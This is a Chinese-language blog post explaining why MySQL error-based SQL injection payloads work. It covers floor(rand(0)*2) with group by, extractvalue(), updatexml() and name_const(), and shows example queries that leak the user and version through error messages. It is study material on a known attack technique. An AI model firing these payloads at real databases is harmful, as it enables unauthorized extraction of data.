MySQL 常用报错注入原理分析
简介
这段时间学习SQL盲注中的报错注入,发现语句就是那么两句,但是一直不知道报错原因,所以看着别人的帖子学习一番,小本本记下来
(1) count() , rand() , group by
1.报错语句构造
先直接上两个网上经常使用的报错语句,主要分析第一条,第二条是简化后的
select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a; select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2));
可以看出两个句子的原理都是相同的
2.rand() floor()函数
我们现在从最里向外分析整条语句.先从floor(rand(0)*2) 开始
- rand()函数会随机产生[0,1)之间的浮点数.
- rand()函数可以自己设置随机种子,即rand(N),这个时候产生的随机数是伪随机数.也就是我们多次生成的是相同的.
- floor(N)函数会返回一个小于或等于传入参数N的最大整数(相当于截断小数部分)
先来看一下rand()不设置随机种子的情况.
可以看出来,连续执行两次的结果是完全不同的.再来看一下设置随机种子后,rand函数的值
自己可以试一试,多次重复的值是相同的,而这里也是整个报错语句的关键.先加下前6位是 011011
3 concat()函数 0x3a的作用 别名a
- concat()函数将字符串会将字符串拼接起来
- 0x3a的ASCII码是 : 主要是用来分隔其他字符串,让人可以快速定位重要信息
- 在括号后面有一个a是别名的意思,是as a的简写.它是前面语句的另一个名字,主要是为了减少重复出现复杂语句
4. group by 与 count()
- group by a 会根据a的规则对数据进行分组,而分组的时候,mysql会建立一个临时空表进行分组.
- count()聚散函数,会进行计数
5.报错分析
报错的原因是因为rand()函数在查询的时候会执行一次,插入的时候还会执行一次.这就是整个语句报错的关键
前面说过floor(rand(0)*2) 前六位是011011. group by a先建立一个空表,用于分组.然后进行分组查询,第一次rand()执行,查询的结果是
0,因为是空表所以插入这条,而插入的时候rand()又执行了一次,所以表中的结果就是
第一次执行完,接着执行rand()的值为1,因为表中存在,所以加1,表中结果成为
到了第三次执行rand()是值为0,因为表中不存在所以要插入新的数据,这次插入rand()再次执行,所以插入的又是1.而表中已经存在1了
此时插入因为重复出现同一个key,就会出现报错 重复出现key.而报错中会说明那个key有问题,我们的key中结合了想要了解的字符串root@localhost
这样就实现了报错注入,拿到了自己想要的数据
这就是整个报错注入的原理了,rand(),floor() group by 函数缺一不可.
(2) XML函数之ExtractValue()
1.报错语句构造
select extractvalue(1,concat(0x7e,user(),0x7e))
mysql> select extractvalue(1,concat(0x7e,user(),0x7e));
ERROR 1105 (HY000): XPATH syntax error: '~root@localhost~'
2.ExtractValue()函数
- ExtractValue(xml_str , Xpath) 函数,使用Xpath表示法从XML格式的字符串中提取一个值
- ExtractValue()函数中任意一个参数为NULL,返回值都是NULL.
mysql> select extractvalue('<a><b>abbb</b><c>accc<b>acbbbb</b></c>aaaa</a>','/a/c');
+-----------------------------------------------------------------------+
| extractvalue('<a><b>abbb</b><c>accc<b>acbbbb</b></c>aaaa</a>','/a/c') |
+-----------------------------------------------------------------------+
| accc |
+-----------------------------------------------------------------------+
mysql> select extractvalue('<a><b>abbb</b><c>accc<b>acbbbb</b></c>aaaa</a>',NULL);
+---------------------------------------------------------------------+
| extractvalue('<a><b>abbb</b><c>accc<b>acbbbb</b></c>aaaa</a>',NULL) |
+---------------------------------------------------------------------+
| NULL |
+---------------------------------------------------------------------+
3.报错分析
上面说明了正常情况下的extractvalue函数使用方法,Xpath语法可以自行google.但是如果我们构造了
不符合规定的Xpath,MySQL就会报语法错误,并显示XPath的内容.
但是什么样子的字符串会引发报错呢.
发现报错竟然消失了一部分,前面的root不见了.因为XPATH语法报错的是那些特殊字符,遇到特殊字符就会报错.
所以0x7e,ASCII码是~ 就会从头开始报错.
可以看出来报错会从遇到的第一个特殊字符处开始报错.直到结束.但是报错的长度是有限制的.如下图应该出现
字符串最后并没全部显示出来,而是后面的字符串被截断了.
(3)XML函数之updatexml()
1.报错语句
select updatexml(1,concat(0x7e,version(),0x7e),1)
mysql> select updatexml(1,concat(0x7e,version(),0x7e),1);
ERROR 1105 (HY000): XPATH syntax error: '~5.7.19~'
2.updatexml()函数
updatexml(xml,xpath,new_xml),此函数使用nex_xml根据xpath来替换xml字符串中特定的值.和上面的道理是相同的,都是通过xpath语法
错误来报错.原来也和上面的相同.不再具体描述.
(4) name_const() 重复报错(不推荐)
1.报错语句构造
select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))a;
mysql> select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))a;
ERROR 1060 (42S21): Duplicate column name '5.7.19'
2.name_const()函数
name_const(name,value)函数会用传入的参数返回一列结果集.传入的参数必须是常量
mysql> SELECT NAME_CONST('myname', 14);
+--------+
| myname |
+--------+
| 14 |
+--------+
如果传入的参数不是常量,就会报错.
mysql> select name_const(database(),1);
ERROR 1210 (HY000): Incorrect arguments to NAME_CONST
3.报错分析
报错原因就是因为两列列名相同,外面选择时候报错,说重复列.
mysql> select name_const(version(),1),name_const(version(),1);
+--------+--------+
| 5.7.19 | 5.7.19 |
+--------+--------+
| 1 | 1 |
+--------+--------+
1 row in set (0.00 sec)
然而个人认为这个报错注入很鸡肋,没有多大用,尝试了一下只用version()函数可以使用,其他可能因为不是常量的原因.
name_const()函数会报参数错误的错误,不会回显想要的信息.
MySQL 常用报错注入原理分析的更多相关文章
- Mysql报错注入原理分析(count()、rand()、group by)
Mysql报错注入原理分析(count().rand().group by) 0x00 疑问 一直在用mysql数据库报错注入方法,但为何会报错? 百度谷歌知乎了一番,发现大家都是把官网的结论发一下截 ...
- sql注入--双查询报错注入原理探索
目录 双查询报错注入原理探索 part 1 场景复现 part 2 形成原因 part 3 报错原理 part 4 探索小结 双查询报错注入原理探索 上一篇讲了双查询报错查询注入,后又参考了一些博客, ...
- 十种MYSQL显错注入原理讲解(二)
上一篇讲过,三种MYSQL显错注入原理.下面我继续讲解. 1.geometrycollection() and geometrycollection((select * from(select * f ...
- Spring依赖注入原理分析
在分析原理之前我们先回顾下依赖注入的概念: 我们常提起的依赖注入(Dependency Injection)和控制反转(Inversion of Control)是同一个概念.具体含义是:当某个角色( ...
- 十种MYSQL显错注入原理讲解(一)
开篇我要说下,在<代码审计:企业级Web代码安全架构>这本书中讲十种MYSQL显错注入,讲的很清楚. 感兴趣请去读完,若处于某种原因没读还想了解,那请继续往下. 1.count,rand, ...
- Mysql常见报错解决方法
一:登录报错 ERROR 1045 (28000): Access denied for user 'mysql'@'localhost' (using password: NO) mysql日志文件 ...
- MYSQL主从不同步延迟原理分析及解决方案(摘自http://www.jb51.net/article/41545.htm)
1. MySQL数据库主从同步延迟原理.要说延时原理,得从mysql的数据库主从复制原理说起,mysql的主从复制都是单线程的操作,主 库对所有DDL和DML产生binlog,binlog是顺序写,所 ...
- MYSQL主从不同步延迟原理分析及解决方案
1. MySQL数据库主从同步延迟原理.要说延时原理,得从mysql的数据库主从复制原理说起,mysql的主从复制都是单线程的操作,主库对所有DDL和DML产生binlog,binlog是顺序写,所以 ...
- 十种MYSQL显错注入原理讲解(三)
这回间隔时间有点长了,年前年后忙的头晕眼花,外加大病.下面我继续讲解. 1.multipolygon() and multipolygon((select * from(select * from(s ...
随机推荐
- Codeforces Round #575 (Div. 3) E. Connected Component on a Chessboard(思维,构造)
E. Connected Component on a Chessboard time limit per test2 seconds memory limit per test256 megabyt ...
- 关于 php for zookeeper
原文:Distributed application in PHP with Apache Zookeeper 地址:http://systemsarchitect.net/distributed-a ...
- spring事务配置,声明式事务管理和基于@Transactional注解的使用(转载)
原文地址:http://blog.csdn.net/bao19901210/article/details/41724355 事务管理对于企业应用来说是至关重要的,好使出现异常情况,它也可以保证数据的 ...
- crontab误删操作的恢复与防范
1.crontab -r 误删操作的恢复 语句解析:crontab -e 编辑 与 crontab -r 删除,由于e, r在键盘上是紧邻的,一旦误操作 crontab -r 将会删除每个用户的定时任 ...
- node.js 实现 AES CTR 加解密
node.js 实现 AES CTR 加解密 node aesctr 前言 由于最近我们在做一款安全的文件分享 App, 所有文件均需要使用 aes ctr 来进行加密,aes key 还有一整套完整 ...
- thinkphp之session操作
原理机制 配置部分 代码部分 助手函数 借助第三方介质存入session 从负载均衡角度考虑----最好放在memocache,redis
- 一个C语言外挂程序
首先建立一个控制台应用程序 引入Windows.h库函数 MessageBoxA(句柄--通常是0,提示框内容,提示框标题,按钮) #include <Windows.h> int mai ...
- 更改pip源地址为阿里云
1.在用户名目录创建pip目录,在pip目录下创建pip.ini. 2.pip.ini中输入: [global] index-url = http://mirrors.aliyun.com/pypi/ ...
- 【Leetcode】对称二叉树
递归法 执行用时 :12 ms, 在所有 C++ 提交中击败了43.44%的用户 内存消耗 :14.6 MB, 在所有 C++ 提交中击败了95.56%的用户 /** * Definition for ...
- HDU1847--Good Luck in CET-4 Everybody!(SG函数)
Problem Description 大学英语四级考试就要来临了,你是不是在紧张的复习?也许紧张得连短学期的ACM都没工夫练习了,反正我知道的Kiki和Cici都是如此.当然,作为在考场浸润了十几载 ...